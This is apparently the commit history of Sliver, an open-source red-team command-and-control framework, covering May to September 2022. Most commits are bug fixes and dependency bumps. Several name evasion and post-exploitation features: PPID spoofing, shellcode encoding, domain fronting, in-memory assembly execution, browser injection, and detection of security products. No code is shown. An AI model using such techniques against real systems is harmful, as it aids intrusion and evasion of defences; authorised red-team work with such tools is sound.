Joe afe4fb04a3 Merge branch 'master' into 8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Signed-off-by: Joe <[email protected]>
2022-09-06 11:59:31 -05:00
Joe e89a04f747 Merge pull request #846 from BishopFox/0121dependabot/go_modules/github.com/fatih/color-1.13.0
Bump github.com/fatih/color from 1.12.0 to 1.13.0
2022-09-06 11:58:59 -05:00
moloch-- e8aae22d50 Go v1.18.6 2022-09-06 09:58:23 -07:00
dependabot[bot] 003f882be5 Bump github.com/fatih/color from 1.12.0 to 1.13.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:25:02 +00:00
dependabot[bot] bb2a56d469 Bump github.com/miekg/dns from 1.1.35 to 1.1.50
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.35 to 1.1.50.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.35...v1.1.50)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:49 +00:00
dependabot[bot] bb36fb6850 Bump actions/download-artifact from 2 to 3
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:04 +00:00
dependabot[bot] dd31ae253c Bump actions/upload-artifact from 2 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:02 +00:00
dependabot[bot] 307b1998a1 Bump github/codeql-action from 1 to 2
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 1 to 2.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:58 +00:00
dependabot[bot] 381e131438 Bump actions/setup-go from 2 to 3
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 3.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:55 +00:00
dependabot[bot] c9898b9854 Bump actions/checkout from 2 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:52 +00:00
Ronan Kervella 9dd5dd9c93 Merge pull request #835 from BishopFox/dependabot
Enable dependabot workflow
2022-09-06 08:23:28 -07:00
Joe 01f2d0c9de Merge pull request #836 from cmprmsd/patch-1
Add carbon black cloud sensor
2022-09-06 09:38:22 -05:00
cmprmsd fd1b873f75 Add carbon black cloud sensor
This adds known Carbon Black processes

Signed-off-by: cmprmsd <[email protected]>
2022-09-06 12:16:09 +02:00
moloch-- bb51a9f1a6 Enable dependabot workflow 2022-09-05 11:12:57 -07:00
Ronan Kervella f1d4a51e73 Merge pull request #831 from BishopFox/fix/ux-828
Fix issue #828
2022-09-04 12:56:41 -07:00
Ronan Kervella d003f5a4ac Merge pull request #832 from BishopFox/feature/tasks-cancel
Feature/tasks cancel
2022-09-04 12:56:19 -07:00
moloch-- 36277b9d46 Fix ui workflow 2022-09-04 10:48:51 -07:00
moloch-- c90988aba5 Added state display for canceled 2022-09-04 10:42:16 -07:00
moloch-- a6dca18cdc Initial task cancel implementation 2022-09-04 10:38:26 -07:00
moloch-- dd48b4b71d Fix issue #828 2022-09-04 09:23:49 -07:00
Ronan Kervella 91e6ea5e05 Merge pull request #829 from BishopFox/fix/stale-sessions-prune
Remove session from server state on kill, fix issue #781
2022-09-03 19:05:39 -07:00
Ronan Kervella 3a8201c202 Merge pull request #830 from BishopFox/cdp
Implemented cursed screenshot and better porfwd tunnel cleanup handling
2022-09-03 19:05:17 -07:00
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
moloch-- 2ea605e915 Remove session from server state on kill, fix issue #781 2022-09-03 15:38:24 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
rkervella 01121922e9 Add mutex to extension structures 2022-08-24 13:01:15 -07:00
rkervella c1a9702760 Merge branch 'master' into fix/extensions 2022-08-24 12:37:56 -07:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
rkervella ae61aa032e Fix download command for folders in beacon mode 2022-08-10 11:34:44 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
rkervella d7d946f17a Merge branch 'master' into feature/ssh-kerberos 2022-08-04 12:27:39 -07:00
Joe df4245c69b Merge pull request #776 from tothi/master
add recognition of SentinelOne security product to the ps cmd
2022-08-01 10:19:45 -05:00
TÓTH István 44578c32ed add recognition of SentinelOne security product to the ps cmd 2022-08-01 13:04:07 +02:00
Joe 07a53b8c75 Merge pull request #773 from tothi/master
windows sideload fix
2022-07-31 22:25:36 -05:00
TÓTH István e08f420606 fix longhelp for sideload 2022-07-31 20:41:10 +02:00
TÓTH István b19cfba921 regenerated protobuf files after adding a new option to sideload cmd 2022-07-31 20:37:27 +02:00
TÓTH István 3b821d19bd add unicode DLL argument passing option for sideload Donut generator 2022-07-31 14:48:29 +02:00
TÓTH István 4e8e254c0e fix DonutShellCodeFromPE call for Windows by passing through EntryPoint parameter 2022-07-31 14:21:07 +02:00
moloch-- d1cf55805a fix spelling mistake 2022-07-29 21:01:21 -07:00
Ronan Kervella 7d07f4c518 Merge pull request #770 from rwhitcroft/feature/psexec-custom-exe
allow custom executables with psexec
2022-07-29 11:08:44 -07:00
Rich Whitcroft 5d3cb883d9 allow custom executables with psexec 2022-07-28 21:41:52 -04:00
Ronan Kervella 29f816ef7e Merge pull request #767 from BishopFox/fix/sideload
Use session agnostic info in Donut call
2022-07-28 08:50:26 -07:00
moloch-- 3ec4c5129c Add example connection string to prelude connect 2022-07-27 15:12:42 -07:00
rkervella 2840e6ed9a Use session agnostic info in Donut call 2022-07-27 14:39:01 -07:00
moloch-- fee6ee8f2d Avoid closing nil tunnel readers #749 2022-07-25 19:36:14 -07:00
moloch-- a1d3cbd0da Add instructions to shell cmd 2022-07-25 19:31:41 -07:00
Joe 4a17490592 Merge pull request #762 from BishopFox/offline-builds
Offline builds
2022-07-25 21:08:07 -05:00
moloch-- e1d7208164 Default to GOPROXY=off 2022-07-25 16:40:05 -07:00
moloch-- 7476a3dbc5 Merge branch 'capnspacehook-easier-offline-implant-builds' into offline-builds 2022-07-25 16:36:20 -07:00
Andrew LeFevre 09a97fbbf4 force implant building tests to run offline, document the need to keep the implant vendor dir updated 2022-07-23 17:27:55 -04:00
Andrew LeFevre 8c8dd280fb create vendor dir for implants and script to update it 2022-07-23 15:31:14 -04:00
Ronan Kervella d94c596a1e Merge pull request #760 from BishopFox/fix/loot-nil-deref
Check for nil pointer before using loot.File
2022-07-22 11:51:17 -07:00
rkervella 57fe465f10 Check for nil pointer before using loot.File 2022-07-22 11:01:10 -07:00
Joe f2da77100f Merge pull request #757 from BishopFox/dependabot/bundler/docs/tzinfo-1.2.10
Bump tzinfo from 1.2.9 to 1.2.10 in /docs
2022-07-22 08:05:21 -05:00
dependabot[bot] 7b5ff4790d Bump tzinfo from 1.2.9 to 1.2.10 in /docs
Bumps [tzinfo](https://github.com/tzinfo/tzinfo) from 1.2.9 to 1.2.10.
- [Release notes](https://github.com/tzinfo/tzinfo/releases)
- [Changelog](https://github.com/tzinfo/tzinfo/blob/master/CHANGES.md)
- [Commits](https://github.com/tzinfo/tzinfo/compare/v1.2.9...v1.2.10)

---
updated-dependencies:
- dependency-name: tzinfo
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-07-22 09:13:08 +00:00
Joe 5292f43cd2 Merge pull request #752 from timwr/fix_751
fix #751, fix ps arch on x86 windows
2022-07-19 14:16:44 -05:00
timwr c4420424af fix #751, fix ps arch on x86 windows 2022-07-19 14:37:33 +07:00
moloch-- b0d6a9ba95 Fix build constraints for windows/arm 2022-07-18 20:06:10 -07:00
Joe c46e193153 Merge pull request #745 from timwr/add_ps_arch
fix #714, Add process Architecture to the ps command
2022-07-18 20:52:00 -05:00
Ronan Kervella 71dff0ff64 Merge pull request #748 from BishopFox/fix/missing-profile-flag
Add missing `name` flag to profiles command
2022-07-18 13:20:47 -07:00
rkervella e1b1132667 Add missing name flag to profiles command 2022-07-18 12:16:58 -07:00
timwr ac262a3620 fix #714, Add process Architecture to the ps command 2022-07-19 00:08:49 +07:00
moloch-- e6277fb55f skip nil tunnel readers 2022-07-17 19:16:16 -07:00
Ronan Kervella f7e8e65126 Merge pull request #744 from BishopFox/feature/vim-mode
Make vim mode configurable via client settings
2022-07-15 13:33:53 -07:00
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
rkervella c4555a124a Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:25:39 -07:00
rkervella 65a44da85f Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:24:37 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
rkervella 6b0d6b2784 Merge branch 'master' into feature/ssh-kerberos 2022-06-20 18:53:18 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
rkervella 4b1991ad5d Add kerberos support for SSH client 2022-06-20 15:14:40 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
rkervella d55c20d7a2 Compare command names instead of extension name 2022-06-17 14:59:57 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
